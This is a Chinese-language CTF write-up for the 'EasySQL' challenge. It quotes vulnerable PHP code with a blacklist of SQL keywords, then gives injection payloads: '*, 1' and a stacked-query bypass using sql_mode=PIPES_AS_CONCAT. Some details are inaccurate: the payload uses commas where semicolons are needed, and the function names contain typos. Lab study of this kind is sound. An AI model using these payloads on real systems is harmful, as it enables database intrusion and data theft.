C
C
CTF-WriteUp
Search
⌃K

EasySQL

<?php
if (isset($_POST['query'])) {
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is", $_POST['query']));
if (preg_match("/{$BlackList}/is", $_POST['query'])) {
//echo $_POST['query'];
die("Nonono.");
}
if (strlen($_POST['query']) > 40) {
die("Too long.");
}
$sql = "select " . $_POST['query']."||flag from flag";
mysqli_multi_query($MysqlLink, $sql);
do{
if ($res = mysqli_store_rersult($MysqlLink)) {
while ($row = mysql_fetch_row($res)) {
print_r($row);
}
}
} while (@mysqli_next_result($MysqlLink));
}
?>
重点其实就是这句SQL语句:
$sql = "select " . $_POST['query']."||flag from flag";
这跟以前做的SQL注入的洞有根本的不同:没用双引号或者单引号闭合,甚至都不需要手动闭合。我在测试的时候就没有发现这个问题,一直是拿单引号去闭合的。
知道了源码其实就很好做,直接:
*, 1
返回flag全部值完事,可能是出题人没有过滤*吧。
预期解:
SET sql_mode=PIPES_AS_CONCAT;
sql_mode 变量以前没有听过,通过设置 sql_mode 的值,可以设计不同程度的数据校验,从而绕过WAF。
sql_mode=PIPES_AS_CONCAT 时,|| 的作用由 or 变成了 concat,相当于字符串连接。
用这样的语句:
1, SET sql_mode=PIPES_AS_CONCAT, SELECT 1
就可以完成注入了。